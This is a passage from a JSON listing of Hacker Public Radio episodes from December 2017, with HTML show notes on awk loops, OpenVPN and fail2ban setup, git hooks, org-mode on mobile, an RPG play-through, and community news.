                                                            \nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the Mail List which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\nMailman.\n

                                                            \n

                                                            The threaded discussions this month can be found here:

                                                            \nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2017-November/thread.html\n\n\n

                                                            Any other business

                                                            \n

                                                            Call for shows

                                                            \n
                                                              \n
                                                            • If there is anyone else who hasn't submitted a show this year there are only a few slots free !!!
                                                            • \n
                                                            \n

                                                            New Year's Eve

                                                            \n
                                                              \n
                                                            • HonkeyMagoo and associates have offered to look after the HPR New Year's Eve event again this year. They say:
                                                            • \n
                                                            \n
                                                            \n

                                                            "We plan on starting on 2017-12-31T10:00:00Z (December 31, 2017 5:00 am EST)
                                                            \nWe will stop the recording and the stream as long as there is no one on at 2018-01-01T12:00:00Z (January 1, 2018 7:00 am EST). If people are still on and talking we will keep the stream and the recording going."

                                                            \n
                                                            \n
                                                              \n
                                                            • Further details are available on the HPR mailing list and the LinuxLUGcast website.
                                                            • \n
                                                            \n

                                                            Tags and Summaries

                                                            \n
                                                              \n
                                                            • Thanks to Windigo and bjb for sending in updates in the past month.
                                                            • \n
                                                            \n\n\n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":2437,"date":"2017-12-05","title":"Interface Zero Play-through Part 3","duration":2543,"summary":"Klaatu, Lobath, and Thaj play the Interface Zero RPG","notes":"

                                                            \nKlaatu, Lobath, and Thaj continue their play-through of the Interface Zero RPG, using the Job InSecurity adventure.\n

                                                            \n\n

                                                            \nLyphrygerator composed by William Kenlon, used with permission.\n

                                                            \n\n

                                                            \nAll other music by Klaatu.\n

                                                            \n\n

                                                            Some sounds from freesound.org used for texture. Obligatory credits will appear in final episode.\n

                                                            ","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"Interface Zero,cyberpunk,rpg,game","version":0,"downloads":0,"valid":1}, {"id":2438,"date":"2017-12-06","title":"Gnu Awk - Part 8","duration":1239,"summary":"More about loops","notes":"

                                                            Gnu Awk - Part 8

                                                            \n

                                                            Introduction

                                                            \n

                                                            This is the eighth episode of the "Learning Awk" series that\nMr. Young and I are doing.

                                                            \n

                                                            Recap of the last episode

                                                            \n
                                                              \n
                                                            • The while loop: tests a condition and performs commands while the test returns true

                                                            • \n
                                                            • The do while loop: performs commands after the do, then tests afterwards, repeating the commands while the test is true.

                                                            • \n
                                                            • The for loop (type 1): initialises a variable, performs a test, and increments the variable all together, performing commands while the test is true.

                                                            • \n
                                                            • The for loop (type 2): sets a variable to successive indices of an array, performing a collection of commands for each index.

                                                            • \n
                                                            \n

                                                            These types of loops were demonstrated by examples in the last episode.

                                                            \n

                                                            Note that the example for 'do while' was an infinite loop (perhaps as a test of the alertness of the audience!):

                                                            \n
                                                            #!/usr/bin/awk -f\nBEGIN {\n\n    i=2;\n    do {\n        print "The square of ", i, " is ", i*i;\n        i = i + 1\n    }\n    while (i != 2)\n\nexit;\n}
                                                            \n

                                                            The condition in the while is always true:

                                                            \n
                                                            The square of  2  is  4\nThe square of  3  is  9\nThe square of  4  is  16\nThe square of  5  is  25\nThe square of  6  is  36\nThe square of  7  is  49\nThe square of  8  is  64\nThe square of  9  is  81\nThe square of  10  is  100\n...\nThe square of  1269630  is  1611960336900\nThe square of  1269631  is  1611962876161\nThe square of  1269632  is  1611965415424\nThe square of  1269633  is  1611967954689\nThe square of  1269634  is  1611970493956\n...
                                                            \n

                                                            The variable i is set to 2, the print is executed, then i is set to 3. The test "i != 2" is true and will be ad infinitum.

                                                            \n

                                                            Some more statements

                                                            \n

                                                            We will come back to loops later in this episode, but first this seems like a good point to describe another statement: the switch statement.

                                                            \n

                                                            Long notes

                                                            \n

                                                            The notes for rest of this episode can be found by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":94,"explicit":1,"license":"CC-BY-SA","tags":"Awk utility,Awk language,gawk,loops","version":0,"downloads":0,"valid":1}, {"id":2439,"date":"2017-12-07","title":"Internal Logic of Stories","duration":1152,"summary":"Lostnbronx talks about stories and story consistency.","notes":"

                                                            Lostnbronx rambles on about the structure of stories, and how their internal logic can make or break them.

                                                            \n","hostid":107,"series":105,"explicit":0,"license":"CC-BY-SA","tags":"stories,storytelling,gaming,rpg,movies,writing,star trek,stardrifter,warp,starjump,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2440,"date":"2017-12-08","title":"How to save bad beans or the French press","duration":57,"summary":"how to hash tag coffee?","notes":"

                                                            Memorial

                                                            \n

                                                            \nWe take some time to remember our good friend and fellow host Lord Drachenblut who passed away one year ago yesterday.
                                                            \nNow may be a good time to re listen to hpr2201 :: Matthew \"Lord Drachenblut\" Williams HPR Community members remember the digital dragon.\n

                                                            \n\n

                                                            Shownotes

                                                            \n

                                                            I was driving in a place where I had no signal, so I recorded an episode about the first thing that popped into my mind.

                                                            \n

                                                            Recorded with lineageos recorder app through monster isport bluetooth headphones. I'm amazed at the sound quality. I'll do this more. I promise

                                                            \n

                                                            (no I won't, I'm lazy)

                                                            ","hostid":126,"series":88,"explicit":1,"license":"CC-BY-SA","tags":"driving, coffee","version":0,"downloads":0,"valid":1}, {"id":2441,"date":"2017-12-11","title":"Server Basics 103","duration":1773,"summary":"Firewalls and fail2ban","notes":"

                                                            Klaatu walks you through installing, configuring, and running fail2ban, and discusses the basics about firewalls.

                                                            \n\n","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,admin,sys admin,linux","version":0,"downloads":0,"valid":1}, {"id":2442,"date":"2017-12-12","title":"The sound of Woodbrook Quaker Study centre in the Spring","duration":937,"summary":"I recorded the sound of bird song at Woodbrook Quaker study Centre in Birmingham UK in April 2017","notes":"

                                                            This is a recording I made at Woodbrook Quaker Study Centre in Birmingham UK while I was there in April 2017.

                                                            \n

                                                            I got the idea to release it as a show after listening to hpr2354 :: Night Sounds in Rural Tennessee hosted by Jon Kulp so here it is all 15 minutes of it.

                                                            \n

                                                            The centre is right by the busy A38 trunk road so hence the constant hum of traffic noise in the background.

                                                            \n

                                                            Links

                                                            \n","hostid":338,"series":101,"explicit":0,"license":"CC-BY-SA","tags":"birdsong","version":0,"downloads":0,"valid":1}, {"id":2443,"date":"2017-12-13","title":"pdmenu","duration":927,"summary":"I have been using this menu tool over the past year, and I really like it","notes":"

                                                            pdmenu

                                                            \n

                                                            Introduction

                                                            \n

                                                            Pdmenu is a tool written by Joey Hess which allows the creation of a simple menu in a terminal (console) window. It is in his list of less active projects, and the latest version is dated 2014, but it seems to be quite complete and useful as it is.

                                                            \n

                                                            I like simple menus. As a Sysadmin in my last job I used one on OpenVMS which helped me run the various periodic tasks I needed to run - especially the less frequent ones - without having to remember all of the details.

                                                            \n

                                                            I do the same on my various Linux systems, and find that pdmenu is ideal for the task.

                                                            \n

                                                            Installation

                                                            \n

                                                            I found pdmenu in the Debian repositories (I run Debian Testing), and it was very easily installed. The C source is available as a tarfile, though I\n haven't tried building it myself.

                                                            \n

                                                            Running pdmenu

                                                            \n

                                                            Simply typing pdmenu at a command prompt will invoke the utility. It uses the file /etc/pdmenurc as its default configuration file, and this generates a menu with a demonstration of some of its features.

                                                            \n

                                                            This is not particularly useful but it can be overridden by creating your own configuration, which by default is in ~/.pdmenurc. The pdmenu command itself takes a configuration file as an argument, so there is plenty of flexibility.

                                                            \n

                                                            Full notes and examples

                                                            \n

                                                            The full notes which describe the use of pdmenu, with examples can be found by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"command line,menu,pdmenu,.pdmenurc","version":0,"downloads":0,"valid":1}, {"id":2444,"date":"2017-12-14","title":"Interface Zero Play-through Part 4","duration":1927,"summary":"Klaatu, Lobath, and Thaj play the Interface Zero RPG","notes":"

                                                            The investigation continues!

                                                            \n

                                                            Guest voice in this and episode 3 by Gort.

                                                            ","hostid":78,"series":95,"explicit":0,"license":"CC-BY-SA","tags":"Interface Zero,rpg,game,play,pathfinder,dnd","version":0,"downloads":0,"valid":1}, {"id":2445,"date":"2017-12-15","title":"Information Underground: Backwards Capitalism","duration":2896,"summary":"Klaatu, Deepgeek, and Lostnbronx talk about markets, innovation, and opportunity.","notes":"

                                                            \nThe Info-Underground guys consider why capitalism does (or maybe doesn't) work, why people use it as a tool for a better life (or maybe don't), and what the source of ambition, commercial aspiration, and greed truly is (or maybe isn't).\n

                                                            ","hostid":107,"series":99,"explicit":0,"license":"CC-BY-SA","tags":"information underground,capitalism,klaatu,deepgeek,lostnbronx","version":0,"downloads":0,"valid":1}, {"id":2446,"date":"2017-12-18","title":"Git server and git hooks","duration":2430,"summary":"Klaatu talks about running git on a server, and explains git hooks.","notes":"

                                                            A sample post-receive git hook:

                                                            \n
                                                            \n#!/usr/bin/tcsh\n\nforeach arg ( $< )\n  set argv = ( $arg )\n  set refname = $1\nend\n\nset branch = `git rev-parse --symbolic --abbrev-ref $refname`\necho $branch\n\n    if ( \"$branch\" == \"master\" ) then\n      echo \"Branch detected: master\"\n      echo \"Do some stuff here.\"\n    else if ( \"$branch\" == \"dev\" ) then\n      echo \"Branch detected: dev\"\n      echo \"Do something else here.\"\n      else\n        echo \"Do something entirely different here.\"\n    endif\n
                                                            \n","hostid":78,"series":81,"explicit":0,"license":"CC-BY-SA","tags":"git","version":0,"downloads":0,"valid":1}, {"id":2447,"date":"2017-12-19","title":"Server Basics 104 OpenVPN Server","duration":2595,"summary":"Klaatu walks you through installing and configuring OpenVPN Server","notes":"

                                                            In this episode, Klaatu demonstrates how to:\n

                                                            \n\n
                                                              \n
                                                            1. \nInstall OpenVPN\n

                                                            2. \n
                                                            3. \nGenerate certificates for your OpenVPN server\n

                                                            4. \n
                                                            5. \nGenerate a private key for your OpenVPN server\n

                                                            6. \n
                                                            7. \nConfigure the /etc/openvpn/server.conf file\n

                                                            8. \n
                                                            9. \nStart the OpenVPN daemon\n

                                                            10. \n
                                                            \n\n

                                                            In case it is not clear, you can follow along with Klaatu, using the exact same options and configuration values as he is using for a successful install. You do not need to change

                                                            \n

                                                            In the next episode, he will demonstrate how to do all of the above for OpenVPN clients.

                                                            \n\n

                                                            \nVPN is a big topic that warrants a whole miniseries unto itself, so this and the next episode concentrate on getting a VPN up and running, with clients connected and pinging back to the server on a dedicated subnet. Additional config options based on your specific use-case are left for you to explore on your own.\n

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,vpn,sys admin","version":0,"downloads":0,"valid":1}, {"id":2448,"date":"2017-12-20","title":"Useful Bash functions - part 3","duration":2033,"summary":"A few more possibly useful Bash functions are discussed","notes":"

                                                            Useful Bash functions - part 3

                                                            \n

                                                            Overview

                                                            \n

                                                            This is the third show about Bash functions. These are a little more advanced than in the earlier shows, and I thought I'd share them in case they are useful to anyone.

                                                            \n

                                                            As before it would be interesting to receive feedback on these functions and would be great if other Bash users contributed ideas of their own.

                                                            \n

                                                            Full Notes

                                                            \n

                                                            Since the full notes explaining this subject are long, they have been placed in a separate HTML file which can be accessed by clicking this link.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"coding,Bash,script,function","version":0,"downloads":0,"valid":1}, {"id":2449,"date":"2017-12-21","title":"Org-mode mobile solution","duration":578,"summary":"My search for taking org mode on the road","notes":"

                                                            brief introduction

                                                            \n

                                                            myself

                                                            \n

                                                            Hi, I'm Brian in Ohio

                                                            \n

                                                            inspiration for show

                                                            \n

                                                            I wanted to tell a little about my trials and tribulations of finding a solution to taking org mode on the road. What's org mode? Listen to my last episode or do a duckduckgo to find out.

                                                            \n

                                                            parameters

                                                            \n

                                                            After switching from using a bullet journal to using emacs-org-mode as my organizing device I immediately saw that lugging a laptop everywhere was not going to work for me. I wanted to be able to access org-mode, especially the agenda view, anywhere I might be. Laptops with limited battery life and a large physical presence were not going to work for me.

                                                            \n

                                                            mobile-org app

                                                            \n

                                                            The first solution I tried, and the most obvious, was the mobile-org app. Its available for android or ios. I can only attest to the android version. Its an easy from the play store. This solution didn't work for me for a number of reasons. First, the documentation for the setup is terrible, and I became frustrated by the workflow and could not get useful results using the app. Mobile-org seems to be built around using dropox. In order to get around that I tried various methods of syncing my org files using onboard storage. Seeing this wasn't going to work I bit the bullet setup a dropbox account installed the clients, one on my slackware laptop and the other on my phone only to find dropbox doesn't support this application anymore. A little digging around and it seems the API used by mobile-org isn't up to snuff any more so, fail. I cut my loses and moved on to another possible solution.

                                                            \n

                                                            pi-top

                                                            \n

                                                            My next crack at solving the portable org mode problem was getting a pitop laptop https://pi-top.com/. Pitop is a laptop based on a raspberrypi. I won't go into the details of the device here but I'll say my idea for using this device was its advertised 8+ hour battery life. My old linux laptops rarely give me 2 hours of life So even though the pitop was physically larger than I wanted I gave it a whirl. Lets just say the battery does last 8+ hours, it just can't survive many recharges. 2 battery packs later I gave up on the pitop and went looking for something else.

                                                            \n

                                                            pocketchip

                                                            \n

                                                            I heard klaatu mention a device called a pocketchip on his gnuworld order podcast https://gnuworldorder.info/. I looked into it and here I thought might be a device that could work. Pocketchip https://getchip.com/pages/pocketchip is a handheld linux computer. After ordering the device I began setting it up for my use case. There are plenty of tutorials on the pocketchip website on how to extend the usefulness of this product. The size of the device was good and the battery life was ok. Some people complain about the chicklet keyboard but I actually did not mind it to much. It took some fiddling to get the emacs keybindings I use to work on the odd keyboard layout, but its a linux computer so there's plenty of information out there. I used a thumb drive as a repository for my org files, wrote a couple of scripts to sync up the files with whatever device the drive was plugged into and wala a mobile org solution! Alas, the pocketchips demise was its build quality. The heart of the pocketchip, the system board's usb mini plug fell off, and then one system tweak later I bricked the device. I'll recover it eventually, you can program it through the gpio pins, but this was a quest for portable-org-mode, not fixing pocketchips, so onward.

                                                            \n

                                                            raspberry pi tablet

                                                            \n

                                                            I saw a build of a raspberry pi tablet that looked very nice https://www.stefanv.com/electronics/a-compact-home-made-raspberry-pi-tablet.html. Always up for a challenge, I cobbled together a prototype and tried it out. The reason I eventually dropped this solution because the virtual keyboard didn't work well and I couldn't get the official raspberrypi lcd to rotate from portrait to landscape dynamically. Still a fun project and I'll get some use out of it sometime.

                                                            \n

                                                            android phone

                                                            \n

                                                            Well here's the solution I came up with. I was searching around on the internet and found a link telling about running emacs on an android phone. https://endlessparentheses.com/running-emacs-on-android.html. It involves installing the termux app, the hackers keyboard, both available in the google play store and apt-get installing emacs on the phone. After that I had full emacs running, all be it in a terminal so its slightly different then running on the desktop, and with emacs you get, drum roll please, org-mode. With this i have the device I always take with running org-mode. I sink my org files between my laptop and phone using the afore mentioned drop box account. The hackers keyboard works flawlessly and can digest any emacs keybinding I need. I also have a logitech bluetoothkeyboard that I can use if I have a lot of typing to do in org-mode on my phone, such as these shownotes!

                                                            \n

                                                            conclusions

                                                            \n

                                                            I find org-mode so useful that I want it available any where I go. And over the course of the last 8 months I went on a journey trying to find a solution to that desire. In the end, the solution was pretty obvious, these portable computers we carry around are amazing and thanks to the developers of termux and the hackers keyboard my phone is now infinitely more useful to me. Thanks for listening.

                                                            \n","hostid":326,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"emacs,org-mode,mobile,mobile-org app,pi-top,pocketchip,Android","version":0,"downloads":0,"valid":1}, {"id":2450,"date":"2017-12-22","title":"Android Audio with viper 4 android and magisk","duration":609,"summary":"I go over some ways to help manage audio with android","notes":"","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"audio,android","version":0,"downloads":0,"valid":1}, {"id":2451,"date":"2017-12-25","title":"Server Basics 105 OpenVPN Client","duration":1931,"summary":"Klaatu walks you through installing and configuring an OpenVPN client","notes":"

                                                            In the previous episode of this series, you set up an OpenVPN server. In this episode, Klaatu walks you through:

                                                            \n\n
                                                              \n
                                                            1. \nInstalling OpenVPN on a client machine.\n

                                                            2. \n
                                                            3. \nGenerating a key and certificate request.\n

                                                            4. \n
                                                            5. \nSigning a client cert from the server.\n

                                                            6. \n
                                                            7. \nConfiguring the client.conf file.\n

                                                            8. \n
                                                            9. \nConfiguring the client routing table to use the VPN subnet.\n

                                                            10. \n
                                                            11. \nPinging the server over VPN!!!\n

                                                            12. \n
                                                            \n\n

                                                            Where to go from here? \n

                                                            \n

                                                            Your next steps should be to investigate how your org wants to use VPN, how your clients actually want to join the VPN (Network Manager has some nice features that makes joining a VPN fairly transparent). Have fun!

                                                            ","hostid":78,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"server,vpn,sys admin","version":0,"downloads":0,"valid":1}, {"id":2452,"date":"2017-12-26","title":"Hydraulic Heavy Scale Project","duration":1339,"summary":"Hydraulic Jack Mod, DIY, Travel Trailer Balance","notes":"

                                                            Hydraulic Heavy Scale Project

                                                            \n

                                                            by David Whitman

                                                            \n

                                                            Why? - to weigh a heavy object yourself

                                                            \n

                                                            Not very difficult. Can be done in about 1/2 hour by someone who has experience doing this type of stuff. Lots longer for beginners.

                                                            \n

                                                            Things you will need: A drill motor, The right size bit for a small pilot hole and the right size bit for a fitting to connect the jack cylinder to the pressure gauge, A Thread TAP to make threads to connect the hydraulic 90 degree fitting to the jack, Some pipe dope is not a bad idea, A 90 degree appropriately sized fitting to connect a pressure gauge to the jack, a vise is nice, a wrench to dismantle the jack, A way to accurately measure the cylinder bore (best is a caliper) and some oil to refill the jack.

                                                            \n

                                                            This link is a youtube to help you visualize the steps. https://www.youtube.com/watch?v=ZBmxkWK_OFA

                                                            \n

                                                            Hate this episode? No problem. Do a better one

                                                            ","hostid":209,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Hydraulic Jack Mod, DIY, Travel Trailer Balance","version":0,"downloads":0,"valid":1}, {"id":2453,"date":"2017-12-27","title":"The power of GNU Readline - part 2","duration":1165,"summary":"Various ways of deleting and undeleting on the command line with GNU Readline","notes":"

                                                            The power of GNU Readline - part 2

                                                            \n

                                                            In part 1 we looked at some Control key and Meta key sequences as well as the Backspace and DEL keys in the context of GNU Readline.

                                                            \n

                                                            The full-length notes (available by clicking this link) contain a brief summary of what we covered and introduce cutting and pasting the GNU Readline way, with some examples.

                                                            \n

                                                            Links

                                                            \n\n","hostid":225,"series":102,"explicit":1,"license":"CC-BY-SA","tags":"command line,cli,GNU Readline","version":0,"downloads":0,"valid":1}, {"id":2454,"date":"2017-12-28","title":"The Alien Brothers Podcast - S01E02 - Strictly Hacking","duration":6389,"summary":"Casper and Rutiger discuss the Uber hacks and the Intel ME known and unknown vulnerabilties","notes":"

                                                            Casper and Rutiger attempt to STAY ON TARGET by discussing hacking… which when you think about it is an utterly pretentious and vague goal for a podcast presented by Hacker Public Radio, especially when considering the end result. Shame on us!

                                                            \n

                                                            Other topics include Friendsgiving and giving thanks; probably the greatest gaming console of the 1970’s; early “hackings” (sic) committed by the hosts; << >>

                                                            \n

                                                            References:

                                                            \n
                                                              \n
                                                            1. The link to the first chapter of Dief Minusky’s seminal the Nature of Systems is freely available here.
                                                              \nhttps://www.dropbox.com/s/or5vefjumde4qsk/TNOS%20E-I%20C1%2020030415.pdf?dl=0
                                                              \nAlthough we referred to the Chapter 8 material on system network security during the show, Rutiger decided it was better to release chapters, incrementally, in order let listeners gain a fuller appreciation for the work. Rutiger is also attempting to track down the original author, who never publicly released the work, to gain retroactive permission for this link, but for the moment Alien Brothers Podcast takes full responsibility for allowing access to this non-copyrighted work and we’ll just go ahead, you know, feel good about the possibility it will all turn out OK.
                                                            2. \n
                                                            3. Uber Data Breach (2017; CNN.com)
                                                            4. \n
                                                            5. How to Disable the Intel Management Engine Backdoor
                                                              \nhttps://beinglibertarian.com/disable-intel-management-engine-backdoor-courtesy-nsa/
                                                            6. \n
                                                            ","hostid":359,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Uber Hack, Intel ME, Alien Brothers","version":0,"downloads":0,"valid":1}, {"id":2455,"date":"2017-12-29","title":"Interface Zero RPG Part 5","duration":5074,"summary":"Klaatu, Lobath, and Thaj play the Interface Zero RPG part 5","notes":"

                                                            An extra-long episode of the grand finale of the Interface Zero RPG play-through.

                                                            \n\n

                                                            Spoilers: Chaiwei dies in combat and Syd runs off with Tina.

                                                            \n\n

                                                            \nAt the end of the show are all the credits containing sound effects and source materials. Here they are in text form.

                                                            \n\n

                                                            \nSound effects were taken from freesound.org. Thanks to the following artists:\n

                                                            \n\n
                                                              \n
                                                            • \n

                                                              \ninterfacezero/muzak/70891__spukkin__trumpetmetal.wav

                                                            • \n

                                                              \ninterfacezero/muzak/212926__simongray__mojo-cafe-nr-wagamama.flac

                                                            • \n

                                                              \ninterfacezero/muzak/243629__lebcraftlp__heavy-rain.flac

                                                            • \n

                                                              \ninterfacezero/muzak/382735__schots__gun-shot.flac

                                                            • \n

                                                              \ninterfacezero/muzak/186104__marcel-farres__elevator.flac

                                                            • \n

                                                              \ninterfacezero/muzak/187866__theomegapixel__metal-grind.flac

                                                            • \n

                                                              \ninterfacezero/muzak/66713__sunnysidesound__desk-pound.wav

                                                            • \n

                                                              \ninterfacezero/muzak/367222__bluedelta__thunder-rain-low-frequencies-4-channel-48khz.wav

                                                            • \n

                                                              \ninterfacezero/muzak/212678__fridobeck__firework-explosion-1.wav

                                                            • \n

                                                              \ninterfacezero/muzak/213610__dpoggioli__laser-gun-explosion.wav

                                                            • \n

                                                              \ninterfacezero/muzak/100772__cgeffex__huge-rocket-launcher.wav

                                                            • \n

                                                              \ninterfacezero/muzak/336735__newagesoup__double-explosion-bright-dark.wav

                                                            • \n

                                                              \ninterfacezero/ep2/329877__klavo1985__music-of-the-black-circus-the-very-best-by-kris-klavenes.flac

                                                            • \n

                                                              \ninterfacezero/ep2/94914__pcaeldries__lakeside2.flac

                                                            • \n

                                                              \ninterfacezero/ep2/153376__inchadney__the-bay.flac

                                                            • \n

                                                              \ninterfacezero/ep3/152396__taavi55__big-smash.ogg

                                                            • \n

                                                              \ninterfacezero/ep3/135465__joelaudio__quick-smash-001.wav

                                                            • \n

                                                              \ninterfacezero/ep3/387177__pfranzen__smashing-a-glass.ogg

                                                            • \n
                                                            \n\n

                                                            Music

                                                            \n
                                                              \n
                                                            • \n

                                                              \nLyphrygerator and Wood/Water by William Kenlon, used with permission.\n

                                                              \n
                                                            • \n
                                                            • \n

                                                              \nAll other music by Klaatu.\n

                                                              \n
                                                            • \n
                                                            \n\n

                                                            Story

                                                            \n\n

                                                            \nWant to play this game yourself?\n

                                                            \n\n\n

                                                            Editor's note 2017-12-28: link added from comments.

                                                            \n","hostid":78,"series":95,"explicit":1,"license":"CC-BY-SA","tags":"Interface Zero,game,gaming,tabletop,rpg","version":0,"downloads":0,"valid":1}, {"id":2456,"date":"2018-01-01","title":"HPR Community News for December 2017","duration":5229,"summary":"HPR Volunteers talk about shows released and comments posted in December 2017","notes":"\n\n

                                                            New hosts

                                                            \n

                                                            \nThere were no new hosts this month.\n

                                                            \n\n

                                                            Thanks to all HPR contributors in 2017!

                                                            \n\n

                                                            \n@einebiene,\nAhuka,\nAndrew Conway,\nMr. Young,\nBeeza,\nBill \"NFMZ1\" Miller,\nBitbox,\nbjb,\nBobJonkman,\nbrian,\nBrian in Ohio,\nChristopher M. Hobbs,\nclacke,\nClaudio Miranda,\nClinton Roy,\ncobra2,\nCurtis Adkins (CPrompt^),\nDave Morriss,\nDave Yates,\nDavid Whitman,\ndeepgeek,\ndodddummy,\ndroops,\nEpicanis,\nEric Duhamel,\nFiftyOneFifty,\nFrank Bell,\nfth,\nGeddes,\nHannah, of Terra, of Sol,\nHPR Volunteers,\nHPR_AudioBookClub,\nIronic Sodium,\nJezra,\nJon Kulp,\nJrullo,\nJWP,\nKen Fallon,\nklaatu,\nKnox,\nlaindir,\nlostnbronx,\nm1rr0r5h4d35,\nmattkingusa,\nmirwi,\nMongo,\nMrX,\nNYbill,\nOnlyHalfTheTime,\noperat0r,\nQuvmoh,\nReg A,\nShane Shennan,\nsigflup,\nspaceman,\nSteve Saner,\nswift110,\nThaj Sara,\nThe Alien Brothers Podcast (ABP),\nTheDUDE,\nthelovebug,\nTony Hughes AKA TonyH1212,\nVarious Hosts,\nvenam,\nWindigo,\nXoke.\n

                                                            \n\n

                                                            Last Month's Shows

                                                            \n\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
                                                            IdDayDateTitleHost
                                                            2435Fri2017-12-01Server Basics 102klaatu
                                                            2436Mon2017-12-04HPR Community News for November 2017HPR Volunteers
                                                            2437Tue2017-12-05Interface Zero Play-through Part 3klaatu
                                                            2438Wed2017-12-06Gnu Awk - Part 8Dave Morriss
                                                            2439Thu2017-12-07Internal Logic of Storieslostnbronx
                                                            2440Fri2017-12-08How to save bad beans or the French presscobra2
                                                            2441Mon2017-12-11Server Basics 103klaatu
                                                            2442Tue2017-12-12 The sound of Woodbrook Quaker Study centre in the SpringTony Hughes AKA TonyH1212
                                                            2443Wed2017-12-13pdmenuDave Morriss
                                                            2444Thu2017-12-14Interface Zero Play-through Part 4klaatu
                                                            2445Fri2017-12-15Information Underground: Backwards Capitalismlostnbronx
                                                            2446Mon2017-12-18Git server and git hooksklaatu
                                                            2447Tue2017-12-19Server Basics 104 OpenVPN Serverklaatu
                                                            2448Wed2017-12-20Useful Bash functions - part 3Dave Morriss
                                                            2449Thu2017-12-21Org-mode mobile solutionBrian in Ohio
                                                            2450Fri2017-12-22Android Audio with viper 4 android and magiskoperat0r
                                                            2451Mon2017-12-25Server Basics 105 OpenVPN Clientklaatu
                                                            2452Tue2017-12-26Hydraulic Heavy Scale ProjectDavid Whitman
                                                            2453Wed2017-12-27The power of GNU Readline - part 2Dave Morriss
                                                            2454Thu2017-12-28The Alien Brothers Podcast - S01E02 - Strictly HackingThe Alien Brothers Podcast (ABP)
                                                            2455Fri2017-12-29Interface Zero RPG Part 5klaatu
                                                            \n\n

                                                            Comments this month

                                                            \n\n

                                                            These are comments which have been made during the past month, either to shows\nreleased during the month or to past shows.
                                                            \nThere are 43 comments in total.

                                                            \n

                                                            There are 15 comments on\n11 previous shows:

                                                            \n
                                                            • hpr2163\n(2016-11-16) \"Gnu Awk - Part 4\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nRon Strelecki on 2017-12-09:\n\"GNU AWK, part four\"
                                                              • \n
                                                              • \nComment 4:\nDave Morriss on 2017-12-10:\n\"Thanks Ron\"
                                                              • \n
                                                              • \nComment 5:\nRon Strelecki on 2017-12-18:\n\"GNU Awk, part four\"

                                                              \n
                                                            • hpr2184\n(2016-12-15) \"Gnu Awk - Part 5\"\nby Mr. Young.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nZZ on 2017-12-11:\n\"GNU Awk part 5\"
                                                              • \n
                                                              • \nComment 4:\nKen Fallon on 2017-12-11:\n\"Re: Audio\"

                                                              \n
                                                            • hpr2297\n(2017-05-23) \"More Magnatune Favourites\"\nby Dave Morriss.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 5:\nrtsn on 2017-12-17:\n\"good stuff\"

                                                              \n
                                                            • hpr2314\n(2017-06-15) \"Bad Caps\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 9:\nNYbill on 2017-12-12:\n\"Its alive!\"
                                                              • \n
                                                              • \nComment 10:\nJon KUlp on 2017-12-15:\n\"Insomnia\"

                                                              \n
                                                            • hpr2394\n(2017-10-05) \"The Lost Episode\"\nby NYbill.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 4:\nKen Fallon on 2017-12-20:\n\"All set but ....\"

                                                              \n
                                                            • hpr2403\n(2017-10-18) \"Amateur Radio Round Table #3\"\nby Various Hosts.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nKen Fallon on 2017-12-04:\n\"Visualisation of waves\"

                                                              \n
                                                            • hpr2417\n(2017-11-07) \"Transmeta Crusoe - Fujitsu-Siemens Futro S210 (ThinClient) - Trouble Shooting and Debian 9 Install\"\nby JWP.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nbusybusy on 2017-12-29:\n\"A Different Time\"

                                                              \n
                                                            • hpr2420\n(2017-11-10) \"Netbooks - Keeping an old friend alive\"\nby Beeza.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 2:\nGumnos on 2017-12-02:\n\"Netbooks and lightweight OSes\"

                                                              \n
                                                            • hpr2422\n(2017-11-14) \"Kickstarter Post Mortem\"\nby klaatu.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nbusybusy on 2017-12-29:\n\"Kickstarter Revisited\"

                                                              \n
                                                            • hpr2431\n(2017-11-27) \"Information Underground: Local Control\"\nby lostnbronx.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 1:\nZen_Floater2 on 2017-12-01:\n\"Benevolent Dictator of the Magical Forrest\"

                                                              \n
                                                            • hpr2432\n(2017-11-28) \"Living with the Nokia 6 – an update to HPR 2405\"\nby Tony Hughes AKA TonyH1212.
                                                            • \n
                                                            • \n
                                                                \n
                                                              • \nComment 3:\nTony Hughes on 2017-12-01:\n\"Reply to RWA re App performance\"

